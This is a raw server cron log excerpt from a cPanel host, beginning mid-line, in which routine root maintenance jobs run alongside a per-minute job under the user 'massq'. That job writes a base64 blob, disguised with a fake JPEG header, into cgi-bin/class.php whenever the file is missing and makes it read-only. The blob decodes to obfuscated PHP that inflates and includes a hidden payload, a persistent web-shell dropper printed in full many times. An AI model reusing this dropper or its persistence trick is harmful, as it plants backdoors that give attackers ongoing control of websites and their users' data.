--decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:49:01 server CROND[11299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:49:01 server CROND[11300]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:49:01 server CROND[11298]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:49:22 server run-parts(/etc/cron.daily)[12858]: finished maldet
Sep  1 03:49:22 server run-parts(/etc/cron.daily)[30209]: starting man-db.cron
Sep  1 03:49:22 server run-parts(/etc/cron.daily)[12937]: finished man-db.cron
Sep  1 03:49:22 server anacron[13476]: Job `cron.daily' terminated
Sep  1 03:49:22 server anacron[13476]: Normal exit (1 job run)
Sep  1 03:50:01 server CROND[15050]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:50:01 server CROND[15051]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:50:01 server CROND[15053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:50:01 server CROND[15052]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 03:50:01 server CROND[15054]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 03:50:01 server CROND[15060]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 03:50:01 server CROND[15062]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 03:50:01 server CROND[15059]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 03:50:01 server CROND[15063]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 03:51:01 server CROND[15872]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:51:01 server CROND[15873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:51:01 server CROND[15871]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:52:01 server CROND[16302]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:52:01 server CROND[16303]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:52:01 server CROND[16304]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:53:01 server CROND[16705]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:53:01 server CROND[16706]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:53:01 server CROND[16707]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:54:01 server CROND[17070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:54:01 server CROND[17071]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:54:01 server CROND[17072]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:55:01 server CROND[17470]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 03:55:01 server CROND[17473]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 03:55:01 server CROND[17472]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 03:55:01 server CROND[17474]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:55:01 server CROND[17476]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 03:55:01 server CROND[17475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:55:01 server CROND[17477]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:56:01 server CROND[18301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:56:01 server CROND[18302]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:56:01 server CROND[18304]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:57:01 server CROND[18669]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:57:01 server CROND[18670]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:57:01 server CROND[18671]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:57:01 server CROND[18674]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 03:58:01 server CROND[19138]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:58:01 server CROND[19137]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:58:01 server CROND[19139]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:59:01 server CROND[19507]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:59:01 server CROND[19508]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:59:01 server CROND[19509]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:00:01 server CROND[19910]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 04:00:01 server CROND[19912]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:00:01 server CROND[19913]: (root) CMD (/usr/lib64/sa/sa1 1 1)
